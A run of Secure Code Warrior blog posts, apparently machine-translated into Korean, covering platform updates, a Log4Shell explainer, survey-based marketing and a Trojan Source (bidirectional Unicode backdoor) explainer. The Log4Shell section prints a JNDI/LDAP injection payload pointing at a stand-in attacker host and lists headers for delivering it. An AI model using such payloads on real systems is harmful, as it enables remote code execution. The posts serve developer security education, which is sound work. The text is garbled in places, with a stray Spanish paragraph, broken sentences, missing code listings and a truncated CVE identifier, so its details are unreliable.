Jira 통합에 가이드라인을 추가함으로써 개발자에게 보안 완화 방안을 포함한 상황별 학습을 제공합니다. 가이드라인은 동영상보다 상세하며 특정 언어 또는 프레임워크에 집중하고, 개발자가 문제를 더욱 신속하게 해결할 수 있도록 코드 스니펫을 제공합니다. 동영상 및 챌린지 접근 외에도, 이제 개발자는 Jira 이슈 내에서 직접 프로그래밍 가이드라인을 읽고 문제 해결에 대한 상세한 조언을 확인할 수 있습니다.

이제 이용 가능: 프론트엔드 개발자를 위한 새로운 콘텐츠

프론트엔드 개발자들도 안전한 코드 작성을 지원해야 합니다! 따라서 미션과 튜토리얼에 UI 취약점을 추가로 공개했습니다. UI 개발자들도 과정을 통해 특정 미션에 접근할 수 있습니다.

이 업데이트는 DOM 기반 XSS와 같은 가장 흔한 취약점부터 CSS 주입과 같은 덜 흔한 취약점에 이르기까지 인터페이스의 특정 취약점을 포괄적으로 다루고자 합니다. 단계별 튜토리얼은 프론트엔드 개발자에게 취약점이 어떻게 악용되는지에 대한 신뢰할 수 있는 가이드를 제공하며, 고급 개발자는 토너먼트의 프론트엔드 미션에서 자신의 기술을 시험해 볼 수도 있습니다.

안전 문화를 확장하는 새롭고 흥미로운 방법들

이제 이용 가능합니다: 다중 기업 토너먼트

‍

여러 기업 간 토너먼트를 생성하여 다양한 상업 기관, 기업 자회사, 파트너사 및 기타 기업들의 개발자들 간 우호적인 경쟁을 허용할 수 있습니다. 이를 통해 안전한 프로그래밍 문화가 조직 전체와 그 다수의 브랜드로 확산될 수 있도록 보장합니다.

최고의 다국적 대회에 참여해 보시겠습니까? SCW의 사이버 보안 인식의 달을 기념하는 글로벌 대회, 제3회 연례 DevOlympics에 지금 등록하세요! 기존 고객이라면 플랫폼을 통해 바로 등록하실 수 있습니다.

관리자와 개발자의 경험 간소화

이제 이용 가능: 코스 필터링

코스 관리 페이지에서 추가 필터를 적용할 수 있게 되어 관리자가 작업하려는 코스를 훨씬 쉽게 필터링할 수 있습니다. 코스는 상태, 종료일, 등록된 팀 등 다양한 속성에 따라 필터링할 수 있습니다.

이제 이용 가능: SCIM으로 SCW 라이선스 관리

이제 프로그램 소유자와 기업 관리자는 개발자를 대규모로 프로그래밍 방식으로 관리할 수 있으며, 접근 제어 기능이 항상 최신 상태로 유지된다는 확신을 가질 수 있습니다.

SCIM 프로비저닝은 Secure Code Warrior 접근 권한을 동기화하기 위해 사용자 ID 공급자를 활용합니다. 이러한 작업의 자동화는 정확성, 보안 및 규정 준수를 보장하여 사용자 프로비저닝 시 시간과 자원을 절약합니다. 현재 SCW는 사용자 수준에서만 SCIM 프로비저닝을 지원하며, SCIM 그룹에 대해서는 아직 지원되지 않습니다.

사전 버전으로 제공: 프로그램 워크플로

 확장 가능하고 매력적인 안전한 코딩 교육 프로그램을 구성하는 것이 플랫폼의 주요 사용성 개선 덕분에 그 어느 때보다 쉬워졌습니다. 프로그램은 다단계 프로그램 내에서 과정과 평가를 순차적으로 구성하여 학습자에게 더 많은 지침을 제공하도록 설계되었습니다. 프로그램의 자동화된 워크플로는 플랫폼에서 미리보기를 활성화한 고객에게 이제 제공됩니다. 프로그램 워크플로는 개발자가 안전한 코딩 학습 프로그램의 각 단계에서 시작점과 다음 단계를 명확히 파악하고 원활하게 진행할 수 있도록 지원합니다. 또한 기업 관리자는 프로그램 설정 및 관리에 소요되는 시간을 절감하고 개발자가 다음 학습 활동을 완료하도록 독려할 수 있습니다.

조직 내에서 안전한 코드 학습을 촉진하는 방법에 대한 조언이 필요하신가요? 보안 목표를 달성하기 위해 프로그램을 구성하는 방법에 관한 가이드를 읽어보세요.

보고서 및 프로그램에 관한 정보

사전 버전으로 제공: 성능 개요

기업 관리자로서, 조직 전체의 활동을 모니터링하는 것은 개발자 참여도를 파악하고 안전한 코드 학습 프로그램의 성공을 측정하는 데 매우 중요합니다. 우리는 기업 관리자가 보고서에서 가장 유용한 정보를 얻을 수 있도록 개선된 보고서 생성 인터페이스를 구축했습니다.

성과 개요는 개발자 과정 및 평가 완료 현황과 시간 경과에 따른 평균 정확도 정보를 제공합니다. 또한 해당 보고서는 선택한 평가 항목에서 귀사의 프로그램을 업계 평균 점수와 비교할 수 있는 상세한 업계 벤치마크를 생성합니다.

이 간결하지만 강력한 보고서는 2024년에 Secure Code Warrior 정보 및 지표 세트의 시작을 알립니다.

Secure Code Warrior 사용해 보고 싶으신가요 Secure Code Warrior 아직 계정이 없으신가요 Secure Code Warrior 지금 바로 데모를 예약하여 자세한 정보를 확인하세요.

이번 분기 신규 기능 요약입니다! 최신 버전 및 개선 사항 업데이트를 받으려면 LinkedIn과 X(구 트위터) Secure Code Warrior 팔로우하세요.

‍

‍

12월 9일, Java Log4j 라이브러리에서 제로데이 취약점이 발견되었습니다. CVE-44228로 명명된 이 취약점은 'Log4Shell'이라는 별칭을 가지며, 원격 코드 실행(RCE)을 유발할 수 있어 '고위험' 등급을 받았습니다. 또한 log4j-core는 가장 널리 사용되는 Java 로깅 라이브러리 중 하나이므로 수백만 개의 애플리케이션이 위험에 노출되었습니다.

Log4Shell 대응 능력을 빠르게 향상시키고 싶으신가요?

Log4Shell의 기본 개념부터 Mission이라는 시뮬레이터에서 이 취약점이 어떻게 악용되는지 체험할 수 있는 데모를 제작했습니다. 이 미션을 통해 Log4j 취약점이 귀사의 인프라와 애플리케이션에 어떤 영향을 미칠 수 있는지 보여드리겠습니다. 데모에 바로 접속하려면 여기를 클릭하거나, 취약점에 대한 자세한 내용을 계속 읽어보시기 바랍니다.

옛날 뉴스?

이 익스플로잇은 새로운 것이 아닙니다. 이미 2016년 BlackHat 발표에서 보안 연구원 알바로 무뇨즈(Álvaro Muñoz)와 올렉산드르 미로시(Oleksandr Mirosh)는"애플리케이션은 신뢰할 수 없는 데이터로 JNDI 검색을 수행해서는 안 된다"고강조하며, 특정 JNDI/LDAP 주입이 원격 코드 실행을 유발할 수 있음을 시연했습니다. 그리고 이것이 바로 Log4Shell의 핵심입니다.

공격 벡터

Log4Shell의 주입 페이로드 구조는 다음과 같습니다:

$ {jndi:ldap: //attacker.host/xyz}

Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.

다음으로 JNDI( Java 이름 및 디렉터리 인터페이스) 가 있습니다. 이는 LDAP, DNS, RMI 등의 프로토콜을 통해 서비스에 연결하여 데이터나 리소스를 검색할 수 있게 해주는 API입니다. 간단히 말해, 앞서 언급한 악성 페이로드 예시에서 JNDI는 공격자가 제어하는 LDAP 서버를 검색합니다. 예를 들어, 그 응답은 악성 코드를 포함하는 Java 클래스 파일을 가리킬 수 있으며, 이는 취약한 서버에서 실행될 것입니다.

이 취약점이 특히 문제가 되는 이유는 Log4j가 모든 로그 항목을 평가하며, EL 구문으로 작성된 등록된 사용자 항목 중 접두사 'jndi'로 시작하는 항목을 모두 검색하기 때문입니다. 페이로드는 사용자가 데이터를 입력할 수 있는 모든 위치(예: 양식 필드)에 삽입될 수 있습니다. 또한 사용자 에이전트(User-Agent) 및 X-Forwarded-For와 같은 HTTP 헤더 및 기타 헤더를 페이로드 전달을 위해 조작할 수 있습니다.

이 익스플로잇을 직접 체험해 보려면, 저희 프레젠테이션으로 이동하여 2단계인 「체험의 영향」으로 넘어가세요.

예방: 인식 제고

모든 애플리케이션에 대해 업데이트를 권장합니다. Log4j는 취약한 코드를 수정해 왔기 때문입니다. 그러나 버전 2.15.0과 2.16.0에는 DDoS 공격 및 기타 취약점이 포함되어 있어, 12월 말 기준으로 2.17.0으로 업데이트하는 것이 권장됩니다.

코드를 작성하는 개발자로서 우리는 항상 보안을 염두에 두어야 합니다. Log4Shell은 타사 프레임워크나 라이브러리의 사용이 위험을 수반한다는 점을 우리에게 가르쳐 주었습니다. 우리는 외부 소스를 사용할 경우, 순진하게도 안전하다고 가정했던 그 소스들로 인해 우리 애플리케이션의 보안이 위협받을 수 있다는 사실을 인지해야 합니다.

이 취약점을 피할 수 있었을까? 그렇기도 하고 아니기도 하다. 한편으로는 취약한 구성 요소가 제3자 소프트웨어를 통해 도입된 경우 개발자가 할 수 있는 일은 제한적이다. 다른 한편으로는 여기서 얻은 교훈은 반복해서 강조되어 온 교훈, 즉 사용자의 의견을 절대 신뢰해서는 안 된다는 것이다.

Secure Code Warrior 보안에 민감한 개발자가 코드 취약점을 방지하는 최선의 방법이라고 Secure Code Warrior . SCW가 확장 가능하고 프로그래밍 프레임워크에 특화된 교육을 제공하기 때문에 기업 고객들은 보고서 데이터를 활용해 영향을 받는 자바 개발자를 신속하게 파악할 수 있었습니다. 또한 SCW에서 훈련받은 보안 전문가들을 신뢰하여 Log4j 업데이트를 가속화했습니다.

특히 Java 개발자를 위해 Secure Code Warrior 무료 IntelliJ 플러그인인 Sensei Secure Code Warrior . 이 규칙 기반 코드 분석 도구는 코딩 지침을 준수하고 취약점을 예방 및 수정하는 데 사용할 수 있습니다. 사용자 정의 규칙을 생성하거나 당사가 미리 준비한 레시피를 활용할 수 있습니다. 다양한 레시피를 살펴보시고, Log4Shell 취약점을 순식간에 찾아 수정하는 데 도움이 되는 Log4j 레시피도 꼭 다운로드하세요.

Log4Shell로부터 방어하며 기술을 향상시키세요

이 블로그 게시물에서 배운 내용을 직접 적용해보고 싶으신가요? 저희 데모 환경이 도움이 될 수 있습니다. 프레젠테이션 시작 부분에서 해당 취약점에 대한 간략한 복습을 진행한 후, 안내에 따라 익스플로잇을 테스트해볼 수 있는 시뮬레이션 환경에 접속하게 됩니다.

‍

불안전한 코드는 기업에 수백만 달러의 손실을 초래합니다. 그렇다면 안전한 코딩 관행의 채택을 가로막는 것은 무엇일까요?

소프트웨어에 거의 모든 것이 의존하는 세상에서 코드의 안전성을 보장하는 것은 매우 중요합니다. 브랜드 평판과 재정적 생존 가능성은 이에 달려 있습니다. 그러나 안전한 코딩을 둘러싼 우려는 많으며, 이를 완전히 효과적으로 도입하는 데에는 많은 장애물이 존재합니다. 지금 그 어느 때보다 새로운 작업 방식이 요구됩니다. 이에 따라 2020년, Secure Code Warrior 개발자와 경영진의 안전한 코딩, 안전한 코드 관행 및 보안 운영에 대한 태도를 파악하기 위해 Evans Data Corp.에 1차 조사*를 Secure Code Warrior (기술 문서 다운로드). 여기).

현재 조직들은 안전한 코드 관행을 구현하는 데 어려움을 겪고 있습니다. 개발자와 관리자들은 특히 취약점을 처리하고 코드에 대한 책임을 지는 데 큰 우려를 가지고 있습니다.

분명히, 더 나은 교육과 안전한 코딩 관행을 뒷받침하는 프로그램이 필요합니다. 이 필요성은 개발자와 그들의 관리자에게 안전한 코딩에 대한 우려 사항을 물었을 때 분명해집니다. 우리의 연구*에 따르면 양측 모두 동일한 기본적인 우려 사항을 공유합니다. 그러나 서로 다른 역할 때문에, 어떤 우려 사항이 더 시급한지에 대해서는 차이가 있습니다.

개발자들의 주요 우려는 "기존 취약점을 재현하는 코드를 포함하는 것"입니다. 개발자들은 코드 품질로 평가받기 때문에 당연한 일입니다. 어떤 개발자도 불안전한 코드나 수정이 필요해 팀의 업무를 지연시키는 코드의 원인이 되고 싶어 하지 않습니다.

개발자들에게 두 번째로 중요한 고민은 동료들이 도입한 오류를 처리하는 일이다. 마감 준수 및 코드에 대한 책임 역시 목록 상위권을 차지하며, 안전한 코드 사용법을 익히는 것이 상당한 도전이라는 점도 마찬가지다. 이는 안전한 코드 교육을 위한 새로운 접근 방식의 필요성을 다시 한번 입증한다.

반면 관리자들은 보다 수직적인 시각을 가지고 있다.

팀의 책임자이자 리더로서, 여러분의 주요 관심사는 코드에 대한 책임입니다. 팀이 형편없는 코드를 생산한다면, 그 책임은 관리자에게 있습니다.

이전 취약점을 재현하는 코드가 두 번째로 많이 발생합니다. 학습 과정이 까다롭다는 점이 세 번째로 꼽힙니다. 현재의 안전한 코드 훈련 방식이 효과를 내지 못함에 따라 관리자들은 새로운 접근법이 필요하다는 점을 깨닫고 있습니다 .

안전한 코딩 관행 채택을 위한 장애물

관리자들에게 조직 내에서 안전한 코딩 관행을 도입하는 데 있어 장애물이 무엇인지 물었을 때, 두 가지가 뚜렷이 부각되었습니다: 커뮤니케이션과 교육입니다.

45%는 이해관계자와 경영진 간의 소통 부족을 주요 장애물로 꼽았습니다. 42%는 신입 사원들의 안전한 코딩 기술 부족을 아쉬워했습니다. 동시에 40%는 교육 시간과 자원이 부족하다고 지적했습니다.

모든 조직에서 안전한 코드 관행을 성공적으로 도입하기 위해서는 프로세스와 인적 자원과 관련된 장벽이 존재합니다.

그러나 이러한 해결하기 어려운 문제들에도 불구하고 여전히 발전할 수 있습니다. 신입 사원들의 부족한 프로그래밍 기술과 부적절한 교육 및 자원은 더 쉽게 해결할 수 있습니다.

개발자들은 취약점을 차단하는 최전선에 서 있습니다. 하지만 그들이 보안 협약에서 자신들의 역할을 수행하기 위해 필요한 지원, 도구, 교육을 제대로 받고 있을까요?

귀하의 우려 사항에 따라, 간단히 말해 "아니오"입니다.

사실 적절한 교육은 강연처럼 보여서는 안 됩니다.

안전한 코딩의 변화를 주도하는 Secure Code Warrior 개발자가 안전한 코딩 기술을 배우고 발전시킬 수 있도록 적극적으로 참여시키는 사람 중심 접근 방식을 Secure Code Warrior . 검증된 학습 플랫폼은 개발 및 보안 팀이 선호하는 워크플로 내에서 맥락에 맞는 초고도 관련성 학습을 제공합니다. 이를 통해 취약점을 발견할 뿐만 아니라 애초에 발생하지 않도록 방지할 수 있습니다.

이러한 실습형 교육은 기술 역량 향상의 기회이자, 취약점 방지에 진지하게 임하고 팀원들과 협력하여 더 나은 품질의 코드를 생산하려는 개발자들에게 오로지 긍정적인 측면만을 지닌 직업적 전환점입니다.

더 많은 정보를 얻고, 보안성을 저하시키지 않으면서도 팀의 '왼쪽에서 시작하기' 능력과 안전한 코드 배포 속도에 미칠 수 있는 영향을 확인하려면 지금 데모를 예약하세요.

반응에서 예방으로: 변화하는 애플리케이션 보안의 모습 Secure Code Warrior Evans Data Corp. 2020

BSIMM 8이 출시되었습니다! 환상적입니다. 대규모 조직이 안전한 소프트웨어를 생산하기 위해 구현하는 보안 관행에 대한 유일한 대규모 연구입니다.

이 연구는 게리 맥그로(Gary McGraw)의 감독 하에 애플리케이션 보안 전문가들이 수행하며, 수집된 데이터가 일관되고 정확하며 30만 명의 개발자들이 일상적으로 수행하는 업무를 반영하도록 보장합니다. 저의 최근 발표에서는 BSIMM의 수치를 인용하며, 평균적으로 개발자 100명당 애플리케이션 보안 전문가가 2명 정도 있다고 언급했습니다.

그러나 BSIMM4 이후로는 상황이 달라졌습니다. BSIMM8에 따르면 이 수치는 더욱 감소하여 현재 100명의 개발자당 1.6명에 불과합니다. 애플리케이션 보안 전문가를 더 많이 채용하는 것은 단순히 효과가 없을 것입니다. 인재 부족 현상이 존재하기 때문입니다. 지금 그 어느 때보다도 개발자들에게 실용적이고, 쉽게 접근 가능하며, 조직에 확장 가능한 안전한 코드를 작성하는 데 필요한 도구와 교육을 제공해야 합니다.

보고서는 또한 교육 실천에서 가장 흔한 활동이 전 직원 대상 인식 제고 교육을 실시하는 것(67%)임을 보여줍니다. 저는 Secure Code Warrior SCW)의 교육 실천 방식을 분석하기 시작했고, 우리의 솔루션이 레벨 1(대부분의 기업이 수행)부터 레벨 3(매우 적은 기업만 수행)에 이르는 교육 실천의 12가지 활동을 모두 커버할 수 있다는 점을 깨달았습니다.

단일 솔루션으로 전체 상담을 커버할 수 있습니다! 12가지 교육 실습 중 Secure Code Warrior 솔루션에 가장 적합한 내용은 Secure Code Warrior :

• 1단계: 인식 제고에 관한 교육 실시
• 레벨 1: 수요에 따른 개별 교육 제공
• 2단계: 훈련을 통한 위성 성능 향상 (SCW 지표)
• 레벨 3: 커리큘럼 진행에 따른 보상 (SCW 배지)
• 레벨 3: 공급업체 또는 하청 근로자에 대한 교육 제공 (SCW 평가)
• 레벨 3: 외부 소프트웨어 보안 이벤트(SCW 토너먼트 모드)를 주최합니다.
• 레벨 3: 훈련을 통한 위성 식별 (SCW 메트릭스)

현재 사용 중인 솔루션이 이러한 관행을 해결하고 있다고 확신하십니까?

사이버 위협이 계속해서 증가하는 세상에서, 여러분의 개발자들은 한 걸음 앞서 나가고 있습니까? 안전한 코딩의 핵심 요소인 개발자(가장 중요한 개발자)는 연결된 세상을 보호하는 데 있어 자신의 역할을 수행할 준비가 되어 있습니까? 이 질문에 답하기 위해, Secure Code Warrior Evans Data Corp.가 Secure Code Warrior 수행한 최근 연구에서 개발자들의 안전한 코딩에 대한 태도, 안전한 코드 관행 및 보안 운영에 관한 몇 가지 아이디어를 살펴보자. ‍

개발자의 안전한 코딩 기술: 인식과 현실

곧 공개될 '반응에서 예방으로: 변화하는 애플리케이션 보안의 모습'에서, 설문에 참여한 개발자의 97%는 안전한 코딩에 대한 충분한 교육을 받았다고 믿으며, 95%는 안전한 코딩 교육이 자신의 경력에 가치 있었다고 동의합니다. 하지만 이러한 주장을 그대로 받아들이기 전에, 우리는 깊이 생각하고 몇 가지 중요한 질문을 던져야 합니다. 왜 코드 취약점은 여전히 빈번하게 발생할까? "개발자들이 안전한 코딩에 대해 그렇게 잘 훈련받았다면, 왜 지난 20년간 대부분의 보안 침해 사고를 초래한 동일한 10가지 소프트웨어 취약점이 계속해서 반복적으로 나타나는 걸까?"  

정말로 무슨 일이 일어나고 있는 거지?

개발자들은 보안에 대해 잘 훈련받았다고 말하지만, 이는 지나친 자신감일 수 있을까? 한 가지 드러나는 요소는 이러한 긍정적인 자기 평가가 안전한 코딩의 어려움에 대한 개발자들 자신의 의견과 모순된다는 점이다. 대부분의 개발자들이 가치 있고 충분한 교육을 받았다고 주장하지만, 대다수의 개발자와 개발 관리자들은 여전히 안전한 코드 관행을 구현하는 것이 상당히 어렵다고 느끼고 있다.

• 개발 관리자의 91% 이상이 안전한 코드 관행을 구현하는 것이 어렵다고 말합니다.
• 88% 이상의 개발자가 안전한 프로그래밍이 도전 과제라고 생각합니다. 안전한 코딩의 가장 중요한 '인적 요소'인 개발자들은 필요한 안전한 코드 교육을 받지 못하고 있어, 안전한 코드에 대한 더 나은 교육과 기술 향상이 필요함을 보여줍니다. 이를 통해 보안이 그들의 사고 방식에 본질적으로 내재되도록 해야 합니다.

왜 안전한 코드를 구현하는 것이 그렇게 어려운가?

개발자와 개발 관리자들이 안전한 코드 구현을 어려운 과제로 여기는 이유를 파악하기 위해, 그들에게 구현과 관련된 주요 우려 사항을 파악해 달라고 요청했습니다.

그 결과 28%는 학습 과정 자체가 어렵다고 생각했으며, 24%는 학습 과정 자체가 지루하다고 생각했습니다.

이러한 주요 우려 사항들은 연관된 함의를 지닙니다. 학습 과정이 어렵기 때문에 더 매력적인 교육이 필요합니다. 또한 학습 과정이 지루하기 때문에 개발자에게 더 관련성 높은 교육이 필요하며, 이는 개발자 중심의 성인 학습의 필요성을 강조합니다.

«저는 지속 가능하고 다른 시나리오에도 적절히 적용할 수 있는 무언가를 배우고 싶습니다. 바로 Secure Code Warrior.»
‍
ForgeRock의 시니어 소프트웨어 엔지니어

잃어버린 고리

안전한 코딩 분야의 혁신을 주도하는 Secure Code Warrior 사람 중심의 접근법을 Secure Code Warrior 안전한 코딩 기술 습득을 긍정적이고 보람찬 경험으로 전환합니다. 우리는 개발자들이 코딩 중 보안 문제를 식별하고 해결할 수 있도록 100% 실습 중심의 재미있고 상호작용적인 교육을 제공함으로써 안전한 코딩 관행에 완전히 몰입하도록 합니다. 이를 통해 취약점이 내일의 뉴스가 되기 전에 사전에 방지함으로써 출시 비용과 시간을 절감합니다.

그러나 우리의 말만 믿지 마십시오:

«Secure Code Warrior® 포털은 다양한 기술의 보안 취약점을 파악하기 위한 탁월한 플랫폼입니다. 흥미롭고 상호작용적입니다».
‍
보안 테스터, 소규모 소매업체
TVID: 5AC-3CA-F68

Secure Code Warrior 의 게임화 활용은 안전 코딩의 중요성을 신선하고 재미있으며 매력적인 방식으로 강조하는 데 Secure Code Warrior ».
‍
소프트웨어 엔지니어, 글로벌 500대 금융 서비스 기업
TVID: B0D-73D-BE3

그리고 더 많은 사례가 계속해서 등장하고 있습니다. 따라서 코드 생성을 보호하는 이 새로운 접근 방식을 직접 체험해보고, 개발자들이 어떻게 보안 분야의 슈퍼히어로로 거듭나는지 확인하고 싶으시다면, 저희가 기꺼이 보여드리겠습니다.

11월 초, 케임브리지 대학교는 '트로이안-소스(Trojan-Source)'라는 연구를 발표했다. 이 연구는 방향성 서식 문자를 이용해 소스 코드와 주석에 백도어를 숨기는 방법에 초점을 맞췄다. 이를 통해 컴파일러와 인간 코드 검토자가 서로 다르게 해석하는 논리를 가진 코드를 생성할 수 있다.

이 취약점은 새로운 것이지만, 유니코드는 과거에도 악용된 바 있습니다. 예를 들어, 파일 이름의 마지막 부분을 반전시켜 파일 이름의 실제 확장자를 숨기는 방식이 있습니다. 최근 연구에 따르면 많은 컴파일러가 사전 경고 없이 소스 코드의 유니코드 문자를 무시하는 반면, 텍스트 편집기(코드 편집기 포함)는 주석과 이를 기반으로 한 코드가 포함된 줄을 재배열할 수 있습니다. 따라서 편집기가 코드와 주석을 컴파일러가 분석할 때와 다른 형태 및 순서로 표시할 수 있으며, 심지어 코드와 주석을 서로 바꿔치기할 수도 있습니다.

더 많은 정보를 얻으려면 계속 읽어보세요. 또는 직접 해보시려면 트로이 목마 소스(Trojan Source)의 모의 해킹을 체험해 보실 수 있는 무료 공개 미션 페이지로 접속하세요.

양방향 텍스트

트로이목마-소스(Trojan-Source) 공격 중 하나는 유니코드 양방향(Bidi) 알고리즘을 활용합니다. 이 알고리즘은 영어(좌에서 우)와 아랍어(우에서 좌)처럼 서로 다른 표시 방향을 가진 텍스트를 어떻게 결합할지 담당합니다. 방향 지정 형식 문자는 문자 그룹화를 재구성하고 문자 표시 순서를 변경하는 데 사용될 수 있습니다.

위의 표에는 공격과 관련된 비디의 무효화된 캐릭터 일부가 포함되어 있습니다. 예를 들어,

RLI e d a c PDI

RLI는 오른쪽에서 왼쪽으로 분리함을 의미합니다. 텍스트를 그 문맥(PDI, 방향성 분리 팝으로 구분됨)에서 분리하고 오른쪽에서 왼쪽으로 읽습니다. 결과는 다음과 같습니다:

c a d e

그러나 컴파일러와 인터프리터는 일반적으로 소스 코드를 분석하기 전에 양방향 제어 문자(Bidi 제어 문자 포함)를 처리하지 않습니다. 방향 제어 문자를 단순히 무시하면 다음과 같이 해석됩니다:

e d a c

오래된 포도주를 새 부대에 담았는가?

물론, 이는 전혀 새로운 일이 아닙니다. 과거에는 파일 이름에 방향성 형식 문자를 삽입하여 악성 본질을 위장하기도 했습니다. 'myspecialexe.doc'로 보이는 이메일 첨부 파일은 RLO(오른쪽에서 왼쪽으로 취소) 문자가 포함되어 실제 이름이 'myspecialcod.exe'임을 드러내지 않는다면 상당히 무해해 보일 수 있습니다.

트로이 목마 공격은 소스 코드 내 주석 및 문자열에 방향 제어 문자를 삽입합니다. 이는 구문 오류나 컴파일 오류를 발생시키지 않기 때문입니다. 이러한 제어 문자는 코드 논리의 표시 순서를 변경하여 컴파일러가 인간이 읽는 내용과 완전히 다른 내용을 해석하도록 만듭니다.

예를 들어, 다음과 같은 바이트를 이 순서로 포함하는 파일:

다음과 같이 방향 지정 형식 문자에 따라 재정렬됩니다

방향 지정 형식 문자가 명시적으로 호출되지 않을 경우 코드가 다음과 같이 표현되도록 합니다:

RLO는 마지막 줄에서 닫는 코르셋을 여는 코르셋으로, 또는 그 반대로 변환합니다. 이 코드를 실행하면 결과는 "당신은 관리자입니다"가 됩니다. 관리자 확인은 주석 처리되었지만, 제어 문자들은 여전히 존재하는 것처럼 보입니다.

(출처: https://github.com/nickboucher/trojan-source/blob/main/C%23/commenting-out.csx)

이것이 당신에게 어떤 영향을 미칠 수 있나요?

많은 언어들이 공격에 취약합니다: C, C++, C#, JavaScript, Java, Rust, Go, Python 등이 있으며, 더 있을 것으로 추정됩니다. 일반 개발자는 소스 코드에서 방향성 포맷 문자를 발견하면 불쾌해할 수 있지만, 초보자는 어깨를 으쓱하며 신경 쓰지 않을 수도 있습니다. 게다가 이러한 문자의 표시 여부는 IDE에 크게 좌우되므로, 반드시 탐지될 것이라는 보장은 전혀 없습니다.

그러나 이 취약점이 애초에 소스 코드에 어떻게 침투할 수 있었을까? 첫째, 신뢰할 수 없는 출처의 소스 코드를 사용할 때 발생할 수 있는데, 악의적인 코드 기여가 감지되지 않은 채로 유입된 경우다. 둘째, 단순히 인터넷에서 찾은 코드를 복사하여 붙여넣는 과정에서 발생할 수 있는데, 대부분의 개발자가 한 번쯤 해본 일이다. 대부분의 조직은 여러 공급업체의 소프트웨어 구성 요소에 의존합니다. 이는 우리가 이 코드를 어느 정도까지 완전히 신뢰할 수 있는지에 대한 의문을 제기합니다. 숨겨진 백도어가 포함된 소스 코드를 어떻게 탐지할 수 있을까요?

누구의 문제인가?

한편, 컴파일러와 컴파일 파이프라인은 문자열과 주석에 엄격히 제한되지 않는 한, 하나의 방향 이상을 가지는 소스 코드 라인을 허용해서는 안 됩니다. 문자열이나 주석에 방향성 포맷 문자가 포함되지 않으면 방향 전환이 줄 끝까지 확장될 수 있다는 점을 유의하십시오. 일반적으로 코드 편집기는 동형 문자나 방향성 포맷 문자 같은 의심스러운 유니코드 문자를 명시적으로 표시하고 강조해야 합니다. 지난 11월부터 GitHub는 양방향 유니코드 텍스트가 포함된 모든 코드 줄에 경고 표시와 메시지를 추가하지만, 해당 문자가 줄의 어느 위치에 있는지 강조 표시하지는 않습니다. 이로 인해 양방향 변경과 함께 악의적인 방향 변경이 도입될 가능성이 여전히 존재합니다.

개발자와 코드 검토자가 취약점에 대해 인지하는 것이 필수적이므로, 이를 설명하는 튜토리얼을 제작했습니다. 현재 이 튜토리얼은 Java, C#, Python, GO 및 PHP에서 이용 가능합니다.

더 알고 싶다면, 트로이 소스( Trojan Source) 의 시뮬레이션(공개 미션)을 시도해보고, 트로이 소스 연구를 읽어보세요.

Java 시뮬레이션

C# 시뮬레이션

PHP 시뮬레이션

GO 시뮬레이션

Python 시뮬레이션